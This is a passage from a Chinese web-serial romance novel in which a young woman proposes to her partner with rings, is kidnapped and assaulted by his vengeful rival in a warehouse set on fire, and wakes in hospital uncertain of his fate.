姜栀被温烫掌心控住的手不受控制地攥紧,细密的汗从额角渗出来。 胸腔被各种各样的情绪填满,像越过万重山的轻舟,有一瞬间她很想哭。 “如果你不愿意,我会一直等,等到你愿意的那天。” 边野眉眼低垂,眼底情愫涌动,“这辈子都用来爱你,唯恐不够。”【你现在阅读的是 】 60-66 第61章 第 61 章 盐城冬天很冷, 十二月飞雪漫天。 零下十几度,人在户外坚持不了多久,冷风嗖嗖, 刮得人脸颊鼻头都刺痛。 也是在这个月, 苏明歆被送进了监狱, 边野只简短地告诉她结果, 至于其他的一概没说。 此事之后没过两天, 贺家被接连爆出丑闻, 从高管潜规则女员工到税务问题, 几乎成了热锅上的蚂蚁,被炙烤着。 但贺家在B市鼎立好几代,到底是财力雄厚、人脉广阔。 从月初爆出新闻到被压只用了一周时间,为了压下这段新闻,娱乐圈的花边瓜事层出不穷,可以用热闹形容。 有不断的新事件出来, 贺家丑闻的热度逐渐降下去, 网络上讨论的风向几乎都变成了各类塌房的明星。 姜栀只觉得唏嘘,怪不得贺为京能如此嚣张。 连这样大的事件都能被公关好,他确实没什么可怕的。 “三点半开个会,各位准备一下!” 林主管出来拍了拍手掌,扫了眼工位上的同事们。 大家稀稀疏疏地应着,开始收拾东西。 姜栀放下手机,拿出笔和本子,和同事们陆陆续续进去。 林主管已经在会议室里等着了, 看到她进来温和一笑。 大家坐好后, 她开始讲:“这次主要是总结下上个月的项目情况。” 按照惯例,林主管先让每个人自我剖析了一遍, 才开始进行团队性总结,给每个组定下目标收尾的时候重点提名了姜栀。 “这次我要好好表扬小姜,月底的那一单,如果不是小姜就搞砸了,还会给公司带出负面影响,小乔职场经验还是不够,要多跟小姜学学,这次多亏了她力挽狂澜。” 叶霜乔脸色难看,握着笔来回扣动。 依旧不服气。 月底那一单她怎么会知道谈合作的老总居然想潜规则她,都能当她爸的老男人了,居然恶心到想对她下手。 她气不过才泼了杯酒,难道要为了项目连身体都贡献出去吗?她可不是姜栀这种豁得出去的人,肯定是给那又老又丑的甲方揩油了才拿下来的。 哦不,说不定都做了。 叶霜乔越想越恶心,没忍住翻了姜栀一个白眼。 正巧被正主看到。 姜栀也没在意,她对自己的恶意也不是一天两天了。 “除此之外,按照小姜的意思,虽然这单最后是A组拿下的,但小姜愿意分出自己的一部分奖金给B组。” 林主管看着叶霜乔,哪能不懂她现在的心情,多少有点恨铁不成管的意思在。 这样好的职场同事,她当年求都求不来,居然还想搞内讧。 “小乔,你应付甲方还是过于稚嫩,以后多跟小姜请教,大家都是一个公司的,一荣俱荣一损俱损,知不知道?” 林主管语气无奈。 “哦。”叶霜乔不情不愿地应了声,心底的不屑更重了。 姜栀不是什么滥好人,叶霜乔是第一次遇到职场性骚扰,还没有很好的应对办法,这不完全是她的错。 这个项目的前期,是B组做的资料和方案,她虽有调整过,但多少也算是占了点便宜。 叶霜乔是个内心很要强的人,为了不输给她,为了这个项目付出了很多心血和精力,将心比心,她也能理解一些。 会议结束后,同事们鱼贯而出。 姜栀走在后面,不疾不徐的。 临出门时,叶霜乔故意跟她挤一个门,“别以为施舍点小恩小惠我就会感激你,仗着这张脸无往不利,还在主管面前装好人,假惺惺的,你累不累啊?” 姜栀神色平静,她比叶霜乔还要高一点,“每天把我视为头号对手仇敌,研究怎么做项目,怎么在谈判桌上就一点脑子都没有?” “你!” 她脸色一白,随即铁青,目露嘲讽,“你以为谁都跟你一样愿意拿身体做交易啊?我没你这么龌龊!” 姜栀正视她,目光对准她的眼睛。 面色虽平静,却看得叶霜乔十分不自在。 “你干嘛?难道我说得不对?” 姜栀唇角轻勾,“我如果真这么做,你还能拿到这么多项目吗?” 叶霜乔眉头拧着。 “在谈判桌上失控,拖累的是整个团队。如果我每次都像你这么做,我早就失业了。” 她说完,转身离去。 叶霜乔站在门口,望着她的背影心情复杂。 盐城冬天天气恶劣,她们老板给比下班时间调到了四点半。 很有人情味地决定,也是姜栀愿意一直待在这里的原因。 下了班,时间还早,姜栀坐地铁去了附近一家珠宝店。 店里暖气开得很足,一进去她冰冻似的手脚就跟融进了热水里一样,逐渐回温。 “你好女士,想要什么款式?” 柜员看到她,被容貌惊得眼前一亮,热情地介绍:“这几个都是刚进的新款,特别适合你这样年轻漂亮的女士佩戴。” 姜栀走过去解下围巾,看了眼,都是项链手镯一类的。 她摇头,温声问:“有对戒吗?款式朴素一点就可以。” 上次接边野下班回家,在浴室里的那个问题,她没有回答。 其实应该是水到渠成的事,但也许她确实没做好心理准备,也不知道要怎样说。 接近年底,两个人都很忙,已经有小半个月没怎么见面。 她趁着这个时间一直思考着这件事。 和边野结婚,然后组成一个属于他们的家庭。 听起来是件很幸福的事。 姜栀想,他为自己做了很多事了,她上回没有给出答案,所以这一次她得给出来。 这几年为了买房她存了不少钱,但现在房子也有了,这些钱就成了纯粹的存款,现在拿出来买对戒正好用得上。 柜员愣了下,连忙笑着说:“有的,您稍等,我去为您挑几款。” “谢谢。” 姜栀坐在椅子上,安安静静地等。 玻璃门外,雪又下起来了,鹅毛似的漫天飞舞,路上的人都裹得像个粽子,匆匆行走。 她看着有些出神。 直到耳后传来其他客人的议论声。 “我去,贺家又出事了!” “什么什么?” “贺家长子从政期间疑似收受贿赂,现接到匿名举报,正在调查中。贺家老幺曾在大学期间强抢女大,致人死亡,后被贺家用钱摆平,受害者父母被威胁,诉苦无门。” “我的天,这都是什么爆炸性新闻啊?贺家居然这么离谱,眼里还有没有法律了!” “上回咱们盐城不就有个女生勇敢曝光他了吗,那个时候我就看到有人扒出这件事,后面又悄无声息地没了,没想到居然真是真的,太恐怖了简直。” “……” 议论声并不避人,姜栀意识到听到了什么的时候,先愣了一下。 从而拿起手机搜索。 贺家这次的丑闻像平地惊雷,比上次还要炸人眼球。 上了新闻头条。 短短半小时,已经被传播得热火朝天。 贺氏的股价一路下跌。 姜栀忽的想起边野。 虽然没问过这事,但只要有点眼色的人都知道,不会跟这么大的百年世家企业对着干。 得不偿失。 毕竟今天是敌人,明天就有可能变成朋友。 她掐灭手机放进口袋里。 除了边野,她几乎想不出谁会做出这么傻的事。 只为了出口气。 外面飞雪漫天,她隔着玻璃门,眼眶有轻微的湿润。 “女士,这边是几款设计比较简单的对戒,您看喜欢哪一款?” 身后传来柜员的询问声,姜栀回头。 炽亮的灯光下,银戒崭新亮眼。 她一一看过去,最后选了最素的一对,什么纹路也没有。 总觉得这样很适合他的气质。 “这个吧,可以帮我刻字吗?” 姜栀笑着问。 “可以刻一些简单的,您说,这边让师傅给您刻。” “谢谢。” 这个时节的天黑得快,不过五点多,外边就已经朦朦胧胧的,路边灯光也点起。 姜栀带着对戒出去的时候,骤然感受到温差,冷得没忍住打了个寒颤。 她把下巴埋在围巾里,双手插在口袋里,一路去往地铁站。 没给边野电话,姜栀独自去了他的房子。 输了密码进去,边野还没回来。 屋子里黑漆漆的。 姜栀开了灯,开起暖气。 拍打了身上的雪花沫子,她给边野发了条消息:[请问边总今天几点回家呢,有人已经翘首以盼了。] 边野收到这条消息时,正在开会,因为下属没有把事情做好的冷峻在这一瞬间敛起,眼底露出温意。 [八点。] 发完又补了句:[在家等我。] 看到消息,姜栀轻轻一笑,把顺路买回来的菜一一放进冰箱里。 上次因为那样的意外,两个人在浴室里磨了一个多小时,后面她累得直接睡着了,饭都没吃。 好歹要为他做一顿。 姜栀爸爸在下厨方面颇有造诣,她从小看到大,手艺也不错。 在盐城工作后也会经常做饭,如今做起来很熟练。 仅仅有条。 边野冒着风雪回来的时候就看见了这么一幕。 一身米白色针织衫,头发随意挽在脑后,身上系着件黑色围裙,违和的色调中透着点儿可爱。手里拿着锅铲,正认真地翻炒着素菜。 白色烟雾袅袅地往上冒着,白色的灯光里,她身影有些朦胧。 家的感觉在这一刻具象化。 心脏被什么敲了一下,边野站在门边,细细密密的暖意从四肢百骸里蔓延开来,像柔软的轻纱缓缓将他包裹起来。 多久没有过这种感觉了? 边野想不起来,或许十年或许十五年。 可能黎女士和边政的婚姻太失败了,他从没想过自己也会有期待家的一天。 那个时候才七岁,是不懂情爱的年纪,但他就告诉自己,这世界上根本没有不计付出的感情,没有人会比自己更爱自己。 可现在……好像也不尽然。 炒菜的声有点吵,以至于边野什么时候回来的她都不知道。 腰上忽然一重,姜栀吓了一跳,转耳听见熟悉声音,低沉中透着点疲倦,“让我靠一下。” “还在炒菜呢,有油烟。” 嘴上虽然这么说着,但她实打实地没动了。 “嗯。”他像孩子似的埋在她肩窝里,弄得她有点发痒,没忍住耸了耸肩。 “这么累啊,那……我给你看个东西让你精神一下?” 边野环抱着她,也不撒手,周身都温和起来,“什么?” 她关了火,拍拍他的手,让他先松开。 边野不肯,她就只好带着人去客厅。 从外套口袋里拿出丝绒盒的时候,边野掀了掀眼皮。 皙白的手打开盒盖,里面躺在两只戒指。 “边先生,姜栀女士今天郑重地问你,要不要为她打上印记,彻底成为她的人?”她面色温柔,声音清甜,只是听着都让人心口塌陷。 边野眼睫颤了下,没想到她会去买戒指。 很惊喜却也很感动。 她在努力的弥补那些年带来的伤害,不论有意无意。 唇角不受控制地勾起,边野却还要逗她,“要是不愿意呢?” 姜栀轻笑起来,眼底像有一汪温水,“那不行,来不及了。” 她抓起他的手,指骨分明又修长,很好看。 “现在你只有点头一个选择了,愿不愿意都得打上我姜某人的记号,以后名草有主,要有有主的自觉。” 姜栀把戒指从他无名指上推进去。 冰冰凉凉的,但却像火一样炙烤着他的心脏。 “嗯,遵命。” 边野无奈一笑,抬手看了一眼,发现里面还刻了字。 JZ。 看到他的动作,姜栀解释道:“这也是印记之一。” 她回头看他,男人眉眼里都是温柔之色,“以后,你就不再是一个人了。” 像空灵的长鸣,穿过他生命里的无数时刻。 将那些消沉、阴骘、煎熬、酸楚,还有短暂的快活时光串成了一条线,线的始端还是黑暗中的囚笼,然而线的终端是此刻、是她。 边野心口酸软,眼底笑意却逐渐浓郁。 他亲自为她带上那只刻了他首字母的戒指,指腹摩挲着她的手,“套住,就哪也不许去了。” 姜栀眼眶有点湿润。 抬手捧着他的脸亲了亲,然后在他抓住她之前,跑去了厨房。 姜栀做饭很有天赋,边野晚上多添了碗饭。 她会跟他讲在公司里经历的有趣的事,还会给他说从别人那儿学来的段子。 偌大的房子里,也算是有了人气。 边野眼底的温柔就没有落下来过。 吃完饭,两个人围在一起看了个电影,边野要留她在这儿过夜,姜栀想了想还是拒绝了,“下次吧,明天上班需要的资料我还没整理。” “我送你。” 姜栀给他拦住,“我特意过来的,你再送我,送来送去的,比谁送的多吗?” 边野没再坚持,找了车钥匙要给她。 她晃晃手机,笑起来,“我已经打到车啦,下次再开。” 姜栀穿上外套,边野替她围好围巾,“外面冷,别着凉。” 她半张脸都被埋在围巾里,差点透不过起来,伸手往下扒了扒,“知道啦,但你这个粽子系法会给我闷死。” 在他发表意见之前,姜栀朝他挥手,“走啦。” 边野亲眼看着她上了出租车才走回去。 手机震动了下,姜栀看了眼。 [到家给我发消息。] 她莞尔,[遵命。] 晚间的雪更大了,路灯光线都被弥漫得朦胧起来。 姜栀到小区外的时候,已经十点多了。 夜色深浓,温度又低。 这个点几乎看不见在路上的行人。 姜栀踩着雪粒子往公寓走。 身后有逐渐加快的脚步声传来,有种诡异的匆促,她下意识回头。 一条毛巾劈头盖脸而来,姜栀一惊,要躲已经来不及。 连呼救声都没有,就被迷倒。 意外目睹这一切的叶霜乔瞪大了眼。 心脏怦怦直跳,狠狠捂住了嘴- 意识回笼的时候,姜栀只觉得手腕、脚腕都被勒的很痛。浑身都僵硬得难受,嘴巴也被封得很紧,连张都张不开。 她紧蹙了下眉,睁开眼。 这是个破旧且年久失修的仓库。 四处斑驳,头顶上的吊灯摇摇晃晃,把前面背对着她的男人映照得很清楚。穿着一身黑,头上戴着鸭舌帽。 姜栀头还有点晕,看着他的背影总觉得有点眼熟。 她扭动了下,身后锁着她的铁链被带出清晰的声音。 男人回过头来。 “醒了。” 他居高临下地看着她,像在看一个没什么价值的货品。 那张熟悉的脸落进眼底时,她瞳孔骤缩。 贺、贺为京?! 前世濒死的恐惧潮水般席卷而来,将她狠狠淹没。 她这一次,还是逃不过吗? 还是要死在他手里吗? “唔——” 她奋力挣扎,瞳眸里的愤怒、恐惧、恨意一瞬间迸发出来。 贺为京这段时间过得很不好,胡子拉碴的,精神萎靡,像是老了十岁,完全没有曾经嚣张的二世祖模样。 他走过来在她面前蹲下,眼睛凶恶得像魔鬼。 贺为京拍拍她的脸颊,用了三成力,给她脸都拍红了,“我她妈死都没想到,会毁在你这样一个贱女人手里。” 他面颊扭曲,“前脚对我投怀送抱,后脚就算计曝光我,干得是真漂亮啊。” 姜栀心脏怦怦直跳,对贺为京的惧意也许是骨子里就有的。 她攥紧了掌心,皮都要被她掐破。 冷静。 一定要冷静。 她冲他摇头,努力想要说话,却只能从喉咙里发出“唔唔”的声音。 贺为京冷嗤,一把撕了她嘴上的胶带。 鲜明的刺痛感传来,她感觉皮肤上的细毛都被连根扯断。 顾不上疼,她试图安抚他,“我没有要置你于死地,那是个意外。” “意外?” 贺为京嗤笑起来,转而阴狠地瞪着她,“你他妈当老子是傻逼?” “你知不知道我这段时间过得什么日子?” 他几乎咬牙切齿,眼底有疯意,“自从你曝光以后,边野就开始对贺家出手,我大哥二哥、我爸,他一个都没放过。” “他摆明了就是要弄死我!” 贺为京愤怒不已,“因为这事我在贺家受了多少指责委屈?我贺三什么时候被人压着打成这样?” “本来在税务之后他如果收手,我就没事了。” 他掐住姜栀的下巴,力道很大,姜栀强忍着疼,“我本来还可以是贺家的三公子,还可以和以前一样,可这一切都被这个贱种毁了!” “我被贺家彻底除名,无权无势,吃不饱穿不暖,连他妈的路边的狗都不如!” 他双眼赤红,愤怒嘶吼。 姜栀没敢开口说话。 他情绪激动且极其不稳定,任何一句话都有可能刺激到他。 “这一切都是边野害的,都是他!” 贺为京忽然又温柔起来,指腹在她脸上轻轻抚摸。 恶寒一阵接一阵地涌上来,姜栀险些干呕出来。 “他这么在乎你,我毁了你好不好?” 他笑起来,眼底冰凉阴骘。 “你怎么不说话?”贺为京像是真的在好奇,歪了歪脑袋看她,“说,说点什么。” 姜栀眼睫轻颤,一言没发。 “老子他妈让你说话!”他突然暴怒,一巴掌甩在她脸上。 力道太大,血腥气从嘴里蔓延出来。 耳鼓嗡鸣,姜栀疼得嘴角有种撕裂感,她强忍着问:“我说了你就会放我走吗?” 贺为京看着她,突然毫无预兆地大笑起来。 整个仓库都回荡着他的笑声,如同刺耳的魔音。 “那怎么能行。” 贺为京从地上站起来,“我要先毁了你,让边野看看我是怎么毁了你,让所有人都看见。” 姜栀蹙眉盯着他。 贺为京拿出手机拍摄模式架在一边,一步步逼近她。 手还在解裤子。 “我好久没有这么兴奋了。” 他脸上笑容扭曲,眼底跳跃着火光,“毁了你,老子就算死了也值了。你看看,到头来还不是栽在我手里,还不是要被我睡?还不如最开始就从了我,也不至于在这种破地方。” 贺为京走过去一把扯开她的衣服,里面一层又一层。 他逐渐没了耐心,要去扒她的裤子。 姜栀挣扎不了,别过头咬着牙关。 他只要碰她,她都会觉得恶心。 手机突然响起来。 贺为京皱了皱眉,带着被打断的不快接通电话。 对面压抑着剧烈的情绪沉声道:“你有不满冲我来,贺为京,对付你的人是我,动一个女人算什么好汉?” 边野呼吸浓重,额角青筋凸起,冰凉的手指在发颤。 自打接到叶霜乔传达来的消息,他就坐不住了。 跟疯了一样四处找她。 派出去找的人到现在也没有结果。 听到他的声音,贺为京原本不耐的情绪一扫而光,甚至还有工夫跟他和平谈话。 “我本来是要录完视频发到网上让人欣赏的,但你消息还挺灵通,我就给你个机会,让你看看她。” “她现在至少还是完整的,等到后面我可就没法保证了。” 他掐了电话,改成视频。 姜栀被锁得很紧,疼痛刺激着她的神经。 她脸色苍白,一侧脸颊肿起,上面还有一个鲜明的巴掌印。 “姜栀!”隔着视频,边野双目赤红,额角青筋暴起,颤抖着嘶吼出声。 心脏像被扎了无数个窟窿,痛得他快要窒息。 姜栀努力扯了扯唇角,试图把场面弄得轻松一点,“你这样不好看了。” 她呼吸艰涩,眼底有泪渍。她不能成贺为京随意刺激羞辱边野的工具,如果要这样,她宁可现在就死。 “如果我死了,不许伤心,要好好生活,活到生命最后一天,替我去去看这世间我还没看过的风景。” 边野在视频那边发疯一般地喊她名字,不许她死,那模样像已经扯紧到极端的弦,随时会崩断。 姜栀努力挤出温柔的笑,“这是我的愿望,你要答应我,不然……” 她唇瓣止不住地颤,喉咙里哽咽差点令她说不出话来,忍了又忍才恢复声音:“不然我会不开心的。” 以后没有她。 也一定、一定要好好活着。 第62章 第 62 章 “哟, 没想到你们俩这么深情啊。” 贺为京看着视频里边野,前所未有的畅快,忍不住笑出声来, “边野啊边野, 你他么他也有——” 话音未落, 一股重力猛地朝他撞过来。 手机“啪嗒”一下掉在地上。 “操!” 随着他这声怒骂, 铁链撞地的响声紧接而来。 姜栀手腕的皮肤被磨出血痕, 撞倒贺为京的同时, 整个人也重重摔在地上。 水泥地冷硬。 她痛得发抖, 浑身骨头仿佛都要碎了。 贺为京脑袋撞在生了锈的钢棍上,面颊扭曲。 她咬紧牙关,拼了命抓到后面的钢钉。 前世便宜了他,这一世,她就算还是要死,也要死得不那么可惜。 冰冷生锈的一截钢钉紧握在掌心里, 在贺为京捂着脑袋准备爬起来的刹那, 姜栀用尽了全身的力气。 是两辈子的愤怒,是向死的绝望。 狠狠、狠狠朝他脖子扎过去。 贺为京头还疼着,压根没想到她会突然奋起。 那截钢钉十分尖锐。 凶猛地刺激着他的每一根神经。 逃生的本能令他迅速闪躲,但还是没来得及完全避开。 那根钢钉划过他脖子,生生扎在了锁骨下面的胸口上。 扎穿了他的衣服,痛得他青筋毕露。 “我草你妈——” 不是致命伤口,贺为京暴怒不已,一脚踹过去。 很重的一声。 姜栀倒在地上, 锁链稀里哗啦地响着。 这一脚用了十足的力道, 她几乎喘不过气来,脸色惨白如纸, 身上全是斑驳的灰渍。 那只钢钉却还紧紧攥在手里。 贺为京咬牙切齿地捂着胸口,缓都没缓就掏出一把匕首。 在灯光下锃亮尖锐。 “我他妈弄死你!” 他大步走过去,一脚狠狠踩住她的手,让她连抬都抬不起来。 碾压的剧痛令姜栀直冒冷汗,脸上毫无血色。 她直视着贺为京凶狠的眼睛,艰难地喘息着,嘴角扯出讽刺的弧度,“地沟里的老鼠都比你有资格活着,你有本事就杀了我。” 贺为京命好,她刚刚没能一下弄死。 已经没有机会了。 但如果她死了,边野就没有软肋了。 贺为京龇牙咧嘴,一刀朝她脖子扎过去。 她闭紧了眼。 刀尖距离脖颈只差一毫时,他蓦地停住。 愤怒扭曲的脸突然笑起来,“老子差点上了你的当!” “你是得死,但不是现在。” 姜栀眉头皱了下,以为他是要玷污自己再动手,牙关紧咬。 可碾在手背上的力道突然没了,那根钢钉被他一脚踹飞,丁零当啷地滚远。 她下意识睁眼,贺为京捡起了手机。 他给边野打了个电话。 “十分钟,我就给你十分钟。” 贺为京给了个地址后冷眼看着她,“到不了我就弄死她。” 到这时候,姜栀才慌乱起来。 她努力逼着自己冷静,“你要干什么?!” 贺为京扯开胶布,截断一条,皮笑肉不笑地走到她面前蹲下,然后一把扯住她的头发,往后一拽,“等会不就知道了,急什么?” 头皮刺痛不已,姜栀眼底全是恨意。 把她嘴重新封上,贺为京顺脚又把四周所有她能够得到的尖锐物品全部踢开。 姜栀冷眼看着他。 很快,外边传来疾驰的车声。 边野一脚刹停在仓库门口。 警察已经在赶过来的路上。 但他等不了了。 一脚踹开仓库门,他狂奔而进。 冷风灌进来,顶上吊着的灯摇晃了下。 昏动的光影里,姜栀看见冒着风雪来的男人。 前额发梢湿透,周身包裹着夜里的寒意,手掌冻得通红。冷厉的轮廓里,一双眼漆黑阴骘,眼尾赤红,眼底布着血丝。 心脏抽痛了下,姜栀鼻子发酸,别过了脸。 贺为京看到他,故意抬脚去勾她下巴,“躲什么,你们不是相爱吗?今晚不多看看,以后可没机会了。” 姜栀被他折过脸,硬是没有抬眼。 明明从家里走的时候还是干净整洁的模样,可现在头发凌乱不堪,身上斑驳着灰渍,双手双脚都被紧紧捆着,脸色惨白,细腻的皮肤上,巴掌印鲜明。 边野握紧了拳头,骨节泛白,额角青筋凸起。 “你走到今天这一步,是我在背后操纵。”他声音冷硬,怒意在胸腔里四窜却必须克制,“你冲我来,毕竟从头到尾想至置你于死地的人都是我。” “与她无关。” 他一字一顿,用尽了力气。 “我知道啊。”贺为京目露凶意,恨不得将他拆骨剥皮。 他把匕首随意丢过去,“哐当”一声落在边野脚前。 “自废双腿,我就留她一命。” 姜栀不可置信地盯着贺为京。 心底的慌乱无处安放,她急切地看向边野,冲他摇头。 边野没看她,阴沉地质问:“说话算数?” 贺为京嗤笑,一把掐住姜栀的脖子,逐渐用力,“你以为你还有选的权利吗?你要是不愿意我现在就可以掐死她。” 脖颈上力道很大,姜栀被掐得面色涨红。 像落地的鱼,濒临窒息。 “你别动她!” 边野冷硬面色终于皲裂,眼底赤红加重,牙关紧咬。 贺为京松了手,姜栀剧烈地喘息,浑身止不住地抖。 下一秒,她看见那个向来不羁又骄傲的男人弯腰去捡地上的匕首。 不要,不要! 姜栀奋力摇头,努力挪动着手腕上的锁链,摩擦出声音。 边野看着手里的刀,眼睫始终低垂。 “别看。” 他此刻声音温和,与刚才跟贺为京对峙时毫不相似,像在哄她。 姜栀拼了命地摇头。 她说不了话,只能不断地呜,眼眶里蓄满了泪。 快走。 快走啊! 不要为了我做傻事。 边野握住刀柄,没给自己留余地,一刀扎进了右腿。 剧烈的痛袭击着神经,他没站住,“咚”的一声跌跪在地上,脖子青筋毕露,下颌紧咬,一只手撑着地勉强稳住身形。 姜栀脑子里“轰”的一声。 一片空白。 她仿佛听见了刀尖刺入皮肉里的声音。 下一秒,尖锐的痛楚、无能为力的艰涩浪潮一般朝她拍打过来,她死命地挣扎,手腕的皮肤早已被磨破,划出新的血痕。 不可以。 姜栀呜到喉咙里的音调发哑,眼泪像断了线的珠子不断往下掉。 她的少年不可以被这样侮辱。 她好不容易重生一回,小心谨慎地走到今天。 哪怕还是要死,让她自己承受就好,为什么要拉上他,命运为什么要跟她开这样的玩笑。 贺为京也震惊,转眼大笑起来。 那种兴奋的、发狂一般的笑声。 他笑够了才开口嘲讽:“为了这样一个贱女人,居然不惜伤害自己,边野,你是真不怕下半辈子坐轮椅啊。” “哦不对……你还不一定有下半辈子,哈哈哈哈……” 他笑得眼泪都出来了。 边野拔出匕首,刺目的鲜血顺着刀尖缓缓滴下来。 他始终一声不吭,脸上却失了血色。 “放了她。” 他嗓音因为剧痛对神经的刺激有些沙哑,“对付我应该更能让你爽。” 贺为京没理会他的话,扬起下巴示意他另一条腿,“那个也得来一刀,这样我心情好了说不定连你也放了。” 姜栀已经哭成了泪人,在挣扎中倒在地上,半边身体挨着水泥地。 她努力地想要往他那边爬。 可是好难好难。 贺为京居高临下地欣赏起来,还有些情调地点评。 “怎么跟苦命鸳鸯似的。” 转头提醒他,“搞快点,老子没耐心。” 边野攥紧掌心,握着匕首的指尖泛白。 他低垂着眼,一言不发地扎进了另一条腿。 身体控制不住地抖了下,额角渗出细密的冷汗。 姜栀双眼红得厉害,心口痛得快不能呼吸。 却只能眼睁睁地看着他被迫伤害自己。 贺为京环望一圈仓库,挑眉走过去,居高临下 地睨着他,“边野,你是条汉子。” “不是想救她吗,去吧。” 他说完直接往仓库大门口走,嘴角邪恶的上扬。 眼底一片癫狂。 边野咬牙拔了匕首,踉跄着半走半爬地冲过去。 双腿一直在流血,痛得他眼前发晕。 他靠近过来,姜栀闻到血腥味,眼泪止不住地往外涌。 “没事了,我在。” 边野嗓音沙哑,把她从地上捞起来,很轻地去撕她嘴上的胶布,又温柔地抚去那些泪,“不哭。” 姜栀很努力地忍,却还是忍不住。 喉头哽咽地难受。 看到她被锁紧的手腕,那些鲜明的血痕,他心脏抽紧,黑眸沉下去。 “对不起,是我来晚了……” 姜栀摇头,努力扯出一抹笑,却依旧带着苍凉与悲伤,“不是你的错。” 她抬手去碰他脸,哽咽了下,“不许自责。” 铁链带了锁,边野用匕首去撬,用钢钉砸,锁链纹丝不动。 他脸色越来越难看。 临近门口,贺为京回头看了眼,冷笑着掏出打火机,往提前浇灌过汽油的地方丢过去,火苗“噌”地一下冒起来,迅猛地烧着所有东西。 他走出去,锁紧了仓库大门。 看到从门口迅速烧过来的火,姜栀脸色惨白,“你快走!” 边野不肯,执着地要去解她手上和脚上的锁链。 周边洒了汽油,火舌无情地舔舐过来,火势冲天。 浓烟滚滚,逐渐向他们包裹而来。 “走——” 姜栀用力去推他,眼眶猩红,“你别管我了,快走,再不走就要死在这里了!” “我们两个……”她哽咽着声音不成调,“至少要活一个。” 浓烟呛鼻,她忍不住咳嗽。 “你死了,我活着还有什么意义。” 他眼眸漆黑,像融了一池绝望。 哪怕双腿痛得要命,边野还是坚持背起她。 他咬紧了牙关,极为艰难地从地上爬起来,额角冷汗直冒,却毫无所觉一般带着她往前。两只腿颤得厉害,他硬生生撑着,一步一步地走。 跌倒,他便再爬起来。 姜栀被浓烟呛的说不出话,心口酸胀得过分,红着眼从地上爬起来,去够他后背,可已经没什么力气,呼吸微弱。 仓库本就残破,大火烧起来,更是七零八落。 顶上梁柱被烧断,发出被火摩擦的咯吱声,突地砸下来。 姜栀后知后觉反应过来,想去推开他,但整个人的意识已经在浓烟中逐渐模糊。 昏迷的前一刻,她有种天旋地转的错觉,耳边似乎还传来一道克制的闷哼声。 她想睁开眼看看,可眼皮好重好重。 真遗憾,还是死在了贺为京手里。 她想起爷爷奶奶,想起池念。 想起身边的好友。 工作以后,和池念很久没见过了,也不知道她现在怎么样了。 这些在她的脑子里轮转。 到最后,全是边野的身影。 她还有好多好多话没有和他,如果这辈子没有机会,下辈子,还可以遇见他吗。 算啦…… 还是不要遇见了,没有她,他会过得更好一点- 医院里消毒水味浓重。 姜栀有意识的时候,耳边有低低的啜泣声,不时还有说话声,很熟悉。 过了许久,她指尖动了动。 缓缓睁开了眼。 姜老太太正好打水进来,看见她醒过来,先是一愣,而后眼眶刹那红了,匆促地用手背擦了擦泪,她笑着走过去,“知知,你醒了就好,有没有哪里不舒服,我去叫医生啊。” 姜栀迟钝地看着她有点佝偻的背影,一时还没反应过来。 她不知道自己在大火里待了多久,呼吸间喉咙泛着刺痛,头还有点晕。 磨破的两个手腕被纱布很好地包扎起来。 胸口肋骨的地方有点痛,但不算严重。 是贺为京那一脚踹的。 除此之外,身上就没有什么地方更痛了。 可不应该。 她记得那个砸下来的梁柱。 如果不是她承受的,那就只有边野。 那样的梁柱砸下来,她不敢想象。 担忧与后怕缓缓袭来,姜栀惴惴不安。 医生很快过来给她检查了一通,确定她已经没什么大碍,只是被浓烟呛到了,需要输液休养,观察几天没事的话就可以出院。 老两口千恩万谢地送走了医生,这才围到她病床边。 “知知,你饿不饿,有没有什么想吃的,爷爷去给你买。” 老太太也紧张,红着眼问:“要不要喝点水润润喉,想要什么跟我们说。” 姜栀视线平静地在他们俩关切的目光里来回移动。 “我没……”一开口,嗓子哑得厉害,还伴随着刺痛,她蹙了下眉,声音放轻,“事。” 姜爷爷以为她担心嗓子,赶紧把手机递给她:“你难受就别说话,用手机打字跟我们说。” 她接过,脑子里浮现出那场大火。 还有不顾一切要救她的边野。 [我昏迷了多久。]她平静地打字询问。 老太太叹了口气,“两天,好歹是醒了,你要是再不醒,我和你爷爷……”老人家说起来就觉得后怕,又哽咽起来。 收到警察通知说他们孙女遭遇绑架又被困火海的时候,他们心都悬起来了,姜爷爷更是差点一口气没喘上来。 老两口连夜收拾东西买票赶到盐城,怕得吃不下睡不着。 就这么一个孙女,是他们的命啊。 姜栀握着她的手,鼻子发酸,眼里有泪蓄起。 [我现在醒了,您别担心。] 看老两口情绪不高,她又打了些字安抚。 老太太缓过来一些,转而说到贺为京,又怒又气,“那个绑匪现在已经被抓进去了,也不知道能不能判死刑。咱们一定找个好律师,绝不能就这么放过他!” 说起这事,姜爷爷的脸色也沉下去。 姜栀没想到警方动作这么快。 那边野,他也一定被救出来了对不对。 [和我一起困在火里的人呢?他现在怎么样了?] 老太太顿了下,看了眼老伴,摇摇头,“警察是说救出来两个人,但另一个他们没告诉我们,我们来的时候也没见到。” “是谁和你一起困在火里?”姜爷爷一眼看出她的情绪。 姜栀抿了抿唇,摇头。 她既然不愿意说,姜爷爷也就没再追问,只在心底叹了口气。 爷爷奶奶出去给她买午饭,姜栀安安静静的靠着病床,情绪稳定得好像刚刚经历这么一场恐怖事件的人不是她一般。 翻到边野的微信,她发了信息过去。 [你在哪?] 整整两天,这条消息都没有被回复。 他双腿都有伤,如果还承受了梁柱砸下来的重量…… 姜栀心底很空,找了医生询问。 医生告诉她,情况好的话就也许几小时或者几天就能醒来,如果不好可能会昏迷几周,最严重的情况就是救治不了,以死亡结束。 姜栀心脏颤了下,没再给他发消息。 她不能急,得等等。 没有消息就是好消息。 这天之后她什么也不问,没事就看着窗外的雪景。 后来没几天,她接到了边叔叔的电话。 边叔叔告诉她边野已经脱离了生命危险,让她不要担心。 但除此之外,别的都没有提。 心脏仿佛空悬着落不到实处,那种抓不住的感觉盘旋着。 姜栀有很多想问的,可最终一个字都没吐出来,她感觉到自己在怕,怕边叔叔说他们就这样算了,别再打扰彼此,又怕会有更剜心的话从边野嘴里说出来,她怕自己听了就受不住。 到最后,姜栀平静地道了句谢,挂断了电话。 知道他平安就好,她至少会安心。 他一天没出现,他们的关系就不会变。 偶尔不知道做什么的时候,她也会翻翻他的聊天框,哪怕他什么都没有回,哪怕他像人间蒸发了一样。 同事们下了班就来看她,每个人都关切着她的伤势和身体。 林主管给她带了很多东西,把她当女儿似的照顾哄慰。 最后来的是叶霜乔,她倒是有点意外。 叶霜乔其实也没想到自己会来,她坐在病床前,看着姜栀。 